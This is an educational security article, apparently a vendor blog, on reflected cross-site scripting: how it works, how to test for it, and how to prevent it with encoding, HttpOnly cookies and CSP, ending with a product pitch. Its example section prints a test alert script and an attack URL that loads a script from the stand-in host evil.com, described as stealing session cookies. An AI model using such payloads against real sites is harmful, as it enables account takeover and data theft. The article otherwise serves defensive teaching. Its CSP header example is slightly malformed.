What Is Reflected XSS (Cross-Site Scripting)?
Cross-site scripting (XSS) is an injection attack where a malicious actor injects code into a trusted website. Attackers use web apps to send malicious scripts to different end-users, usually from the browser side. Vulnerabilities that enable XSS attacks are common. They occur wherever web applications use unvalidated or unencoded user-supplied inputs.
Reflected XSS involves injecting malicious executable code into an HTTP response. The malicious script does not reside in the application and does not persist. The victim’s browser executes the attack only if the user opens a web page or link set up by the attacker.
Reflected XSS attacks are the most common type of XSS in the real world. They are also known as Type 1, first-order, or non-persistent XSS. A single browser request and response delivers and executes the attack payload. The maliciously crafted HTTP or URI parameters contain an attack string that the legitimate application processes improperly.
Reflected Cross Site Scripting vs Stored XSS: Key Differences
People usually lump reflected and stored XSS together, but they create very different problems once you’re dealing with real users and real traffic. Reflected XSS only exists in the moment. The payload comes in with the request and gets echoed back in the response. If nobody clicks the link or submits the request, nothing happens. That’s why reflected XSS almost always depends on someone being tricked into doing something.
Stored XSS sticks around. The payload gets saved somewhere the application trusts – a comment, a profile field, a support ticket, even an internal log viewer. Once it’s there, every user who loads that page triggers it. There’s no timing window and no special link required. That difference matters when you’re prioritizing fixes. Reflected XSS is often opportunistic. Stored XSS quietly turns into a long-term exposure.
In this article:
- Reflected XSS Attack Example
- How to Find and Test for Reflected XSS Vulnerabilities
- Reflected XSS Prevention
- Detecting and Testing for Reflected XSS with Bright
Reflected XSS Attack Example
Consider a social media site that requires users to authenticate to send and view messages. The website has a search function which displays the search string in the URL, like this:
http://socialize.com?search=latest&news
An attacker notices this and tries the following string as their search:
<script type=’text/javascript’>alert(‘test’);</script>
If the website does not properly sanitize inputs, this test script will appear in the URL, like this:
http://socialize.com?query=<script type=’text/javascript’>alert(‘test’);</script>
And the script will execute, showing an alert box in the browser. This means the website is vulnerable to an XSS attack.
Now the attacker can craft a URL that executes a malicious script from their own domain:
http://socialize.com?query=latest&news<script%20src=”http://evil.com/malicious.js”
The attacker embeds this link into a phishing email, and sends it to individuals who are users of the social media site, and are likely to be logged into it. Some users might be hesitant to click on a link from an unknown sender, but it’s enough that only a few of them are tricked into clicking.
Any user who clicks the link, will cause the malicious script to execute. Typically, the script will contain code that steals the session cookie and allows the attacker to take over those user’s social media accounts.
Related content: Read our guide to XSS attacks
Browser Security Features That Mitigate Reflected XSS
Modern browsers try to help, but they’re not a real defense. Some still ship with reflected XSS filters that look for obvious cases where input is bounced straight back into a page. Sometimes they block it. Sometimes they don’t. Many of those protections have been relaxed over the years because they caused real applications to break.
CSP helps more than most browser features, but only if it’s set up properly. A loose policy or heavy use of inline scripts makes it much easier for reflected payloads to run. Same-origin rules and sandboxing reduce damage, but they don’t prevent execution if the app itself reflects unsafe input. In practice, browser controls limit blast radius. They don’t fix the root issue, and attackers know how to work around them.
How to Find and Test for Reflected XSS Vulnerabilities
Most reflected cross-site scripting vulnerabilities are discoverable with a web vulnerability scanner or dynamic software application testing (DAST) tool like Bright.
It is also possible, though time consuming, to test for reflected XSS manually:
- Test all data entry points—separately test each data entry point in your application’s HTTP requests. An entry point is any data in a URL query string, file path, or message body, including parameters and HTTP headers. However, it may be harder to exploit HTTP headers for XSS attacks.
- Use random values—submit unique, random alphanumeric values for each data entry point to test if the response reflects the values. These values should be short and simple enough to get past most input validation, containing only letters and numbers. They also need to have enough characters to reduce the likelihood of an accidental match, so values of approximately eight characters work best.
- Identify reflection contexts—determine the context for each part of a response that reflects the random values. Check the location of the values, for example, in between HTML tags, in quotable tag attributes, or JavaScript strings.
- Test an initial payload—test an initial XSS payload based on the reflection context, which the response reflects unmodified, to see if it triggers a JavaScript execution. The idea is to verify whether the candidate payload can elicit an attack.
- Test additional payloads—if the application blocks or modifies the initial XSS payload tested, you should test additional techniques and payloads that may successfully deliver an attack. Try out various alternatives based on the input validation technique and reflection context.
Related content: Read our guide to XSS vulnerabilities
How Reflected XSS Can Be Exploited in Phishing Attacks
Reflected XSS is popular with phishers for one simple reason: the URL looks legitimate. The domain is real. The certificate is valid. Nothing about the link screams “attack.” All the attacker has to do is hide the payload inside a parameter that the app reflects.
Once the page loads, the script runs in the context of a site the user already trusts. That’s enough to steal session data, inject fake login prompts, or silently redirect users somewhere else. These attacks work best in search pages, error messages, or redirect handlers – places where developers often assume input is harmless because it’s “just text.”
Reflected XSS Prevention
Here are a few steps you can take to prevent reflected XSS in your web applications.
Sanitizing Inputs
You can sanitize reflected and stored cross-site scripting via the server-side, and there are several ways of carrying this out. Denylisting characters that you decide are unsafe won’t work in the long term because malicious users could bypass it.
Here is how you can use allow-listing to determine what is permitted:
- Utilize a security encoding library for encoding user input and all parameters. If you want to insert user/parameters input data into the HTML body, use an HTML escape before the user-supplied string.
- Encode all characters that may influence the execution context, whether it shows the start of an event, CSS style, script, using a function such as
htmlentities(). - Escape attributes if you want to insert user/parameter input details into the HTML common attributes. Do not employ event handles or attributes such as
style,href, orsrc. - Add quotes to your attributes, and in general, escape every non-alphanumeric character.
- Use JavaScript escaping for dynamically created JS code, where you need to insert user/parameters data input into script tags or event handlers. The safest place to put data is within any quoted value. Anywhere else, it will be difficult to sanitize since switching context is simple.
Use HTTPOnly Cookie Flag
It is hard to secure against all XSS flaws in your application. To minimize the impact of XSS vulnerabilities, utilize the HTTPOnly flag-providing the browser supports it. This flag guarantees that cookies cannot be attained via client side scripts, stopping XSS attacks.
Use the HTTPOnly flag on session cookies, and all custom cookies are not being accessed by your JavaScript code. You enable the flag in .NET applications default. However, it must be activated manually in different languages.
Implement Content Security Policy
Content Security Policy (CSP) is a strategy that helps mitigate the effect of XSS vulnerabilities. This browser-side approach allows you to create lists outlining access permissions to client-side resources, including CSS and JavaScript. CSP uses an HTTP header to tell the browser to execute resources from the stated sources.
For example, the following command instructs the site browser to load all resources from an identified source:
Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld
X-XSS-Protection Header
The HTTP X-XSS-Protection header is available in common browsers such as Internet Explorer and Google Chrome, filtering suspicious information to stop reflected XSS attacks. When the header identifies XSS, it prevents the page from loading without sanitizing inputs within the page.
Reliance on the X-XSS-Protection header may give rise to more client-side security risks. You should use it with discretion. You should set the header to X-XSS-Protection: 0, disabling the XSS Auditor and preventing it from adopting the default response activity of the browser.
Tools to Scan for Reflected Cross Site Scripting Vulnerabilities
Reflected XSS is easy to miss in code review because the problem isn’t always obvious in isolation. The same variable might be safe in one context and dangerous in another. That’s why most teams rely on dynamic testing to catch it.
Basic scanners will flag reflection, but reflection alone doesn’t mean exploitation. The real question is whether the browser actually executes the input. Good testing confirms the behavior instead of guessing. Poor testing floods teams with false positives, which is usually why reflected XSS fixes get delayed. When findings come with a working proof instead of a warning, they tend to get fixed much faster.
Detecting and Testing for Reflected XSS with Bright
While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.
Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.
Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.
Get a free account for Bright and start testing today!
